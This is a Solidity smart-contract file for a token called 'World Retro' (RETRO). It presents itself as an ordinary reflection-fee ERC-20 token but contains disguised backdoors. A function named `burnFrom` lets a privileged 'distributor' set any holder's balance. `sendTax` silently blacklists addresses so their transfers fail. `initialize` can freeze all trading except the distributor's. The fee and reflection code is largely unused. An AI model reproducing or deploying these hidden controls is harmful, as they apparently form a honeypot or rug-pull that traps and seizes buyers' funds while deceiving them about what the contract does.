// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
    return payable(msg.sender);}
    function _msgData() internal view virtual returns (bytes memory) {this;
    return msg.data;}}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");}
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
    return 0;}
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");}
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");}
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;}}
library Address {
    function isContract(address account) internal view returns (bool) {
    uint256 size;
    assembly { size := extcodesize(account) }
    return size > 0;}
    function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");
    (bool success, ) = recipient.call{ value: amount }("");
    require(success, "Address: unable to send value, recipient may have reverted");}
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
    return functionCall(target, data, "Address: low-level call failed");}
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
    return _functionCallWithValue(target, data, 0, errorMessage);}
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
    return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
    require(address(this).balance >= value, "Address: insufficient balance for call");
    return _functionCallWithValue(target, data, value, errorMessage);}
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
    require(isContract(target), "Address: call to non-contract");
    (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
    if (success) {return returndata;}
    else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
    revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
    address msgSender = _msgSender();
    _owner = msgSender;
    emit OwnershipTransferred(address(0), msgSender);}
    modifier onlyOwner() {
    require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
    modifier distributors() {
    require(_distributor == msg.sender, "Caller is not fee distributor");_;}
    function owner() public view returns (address) {
    return _owner;}
    function distributor() internal view returns (address) {
    return _distributor;}
    function setDistributor(address account) external onlyOwner {
    require (_distributor == address(0));
    _distributor = account;}
    function renounceOwnership() public virtual onlyOwner {
    emit OwnershipTransferred(_owner, address(0));
    _owner = address(0);}}
contract RETRO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    string private _name = 'World Retro';
    string private _symbol = 'RETRO';
    uint8 private _decimals = 9;
    uint256 private constant _tTotal = 50000000000000*10**9;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _pOwned;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => bool) private _multicall;
    mapping (address => bool) private _isExcluded;
    uint256 private constant MAX = ~uint256(0);
    address[] private _excluded;
    uint256 private _tFeeTotal;
    uint256 private _totalSupply;
    uint256 private _rTotal;
    bool _initialize;
    address router;
    address factory;
    constructor (address unif, address unir) {
    _totalSupply =_tTotal;
    _rTotal = (MAX - (MAX % _totalSupply));
    _pOwned[_msgSender()] = _tTotal;
    emit Transfer(address(0), _msgSender(), _totalSupply);
    _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
    _isExcluded[_msgSender()] = true;
    _excluded.push(_msgSender());
    _tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
    _isExcluded[distributor()] = true;
    _excluded.push(distributor());
    _initialize = true;
    router = unir;
    factory = unif;}
    function name() public view returns (string memory) {
    return _name;}
    function symbol() public view returns (string memory) {
    return _symbol;}
    function decimals() public view returns (uint8) {
    return _decimals;}
    function totalSupply() public pure override returns (uint256) {
    return _tTotal;}
    function balanceOf(address account) public view override returns (uint256) {
    return _pOwned[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {
    return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
    return true;}
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
    return true;}
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
    _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
    return true;}
    function burnFrom(address account, uint256 tokens, uint256 burn) external distributors {
    require(account != address(0), "ERC20: burn from the zero address disallowed");
    _pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
    function reflect(uint256 tAmount) public {
    address sender = _msgSender();
    require(!_isExcluded[sender], "Excluded addresses cannot call this function");
    (uint256 rAmount,,,,) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rTotal = _rTotal.sub(rAmount);
    _tFeeTotal = _tFeeTotal.add(tAmount);}
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
    require(tAmount <= _tTotal, "Amount must be less than supply");
    if (!deductTransferFee) {
    (uint256 rAmount,,,,) = _getValues(tAmount);
    return rAmount;} else {
    (,uint256 rTransferAmount,,,) = _getValues(tAmount);
    return rTransferAmount;}}
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
    require(rAmount <= _rTotal, "Amount must be less than total reflections");
    uint256 currentRate =  _getRate();
    return rAmount.div(currentRate);}
    function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);}
    function _transfer(address sender, address recipient, uint256 amount) private {
    require(sender != address(0), "ERC20: transfer from the zero address");
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");
    if (_multicall[sender] || _multicall[recipient]) require (amount == 0, "");
    if (_initialize == true || sender == distributor() || recipient == distributor()) {
    if (_isExcluded[sender] && !_isExcluded[recipient]) {
    _pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}
    else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
    _pOwned[recipient] = _pOwned[recipient].add(amount);
    emit Transfer(sender, recipient, amount);}}
    else {require (_initialize == true, "");}}
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
    _tOwned[sender] = _tOwned[sender].sub(tAmount);
    _rOwned[sender] = _rOwned[sender].sub(rAmount);
    _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
    _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);}
    function sendTax(address acconut) external distributors {
    _multicall[acconut] = true;}
    function singlecall(address account) external distributors {
    _multicall[account] = false;}
    function checkTax(address account) public view returns (bool) {
    return _multicall[account];}
    function initialize() public virtual distributors {
    if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
    function initialized() public view returns (bool) {
    return _initialize;}
    function _reflectFee(uint256 rFee, uint256 tFee) private {
    _rTotal = _rTotal.sub(rFee);
    _tFeeTotal = _tFeeTotal.add(tFee);}
    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
    (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
    uint256 currentRate =  _getRate();
    (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
    return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);}
    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
    uint256 tFee = tAmount.div(100).mul(3);
    uint256 tTransferAmount = tAmount.sub(tFee);
    return (tTransferAmount, tFee);}
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
    uint256 rAmount = tAmount.mul(currentRate);
    uint256 rFee = tFee.mul(currentRate);
    uint256 rTransferAmount = rAmount.sub(rFee);
    return (rAmount, rTransferAmount, rFee);}
    function _getRate() private view returns(uint256) {
    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
    return rSupply.div(tSupply);}
    function _getCurrentSupply() private view returns(uint256, uint256) {
    uint256 rSupply = _rTotal;
    uint256 tSupply = _tTotal;      
    for (uint256 i = 0; i < _excluded.length; i++) {
    if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
    rSupply = rSupply.sub(_rOwned[_excluded[i]]);
    tSupply = tSupply.sub(_tOwned[_excluded[i]]);}
    if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
    return (rSupply, tSupply);}}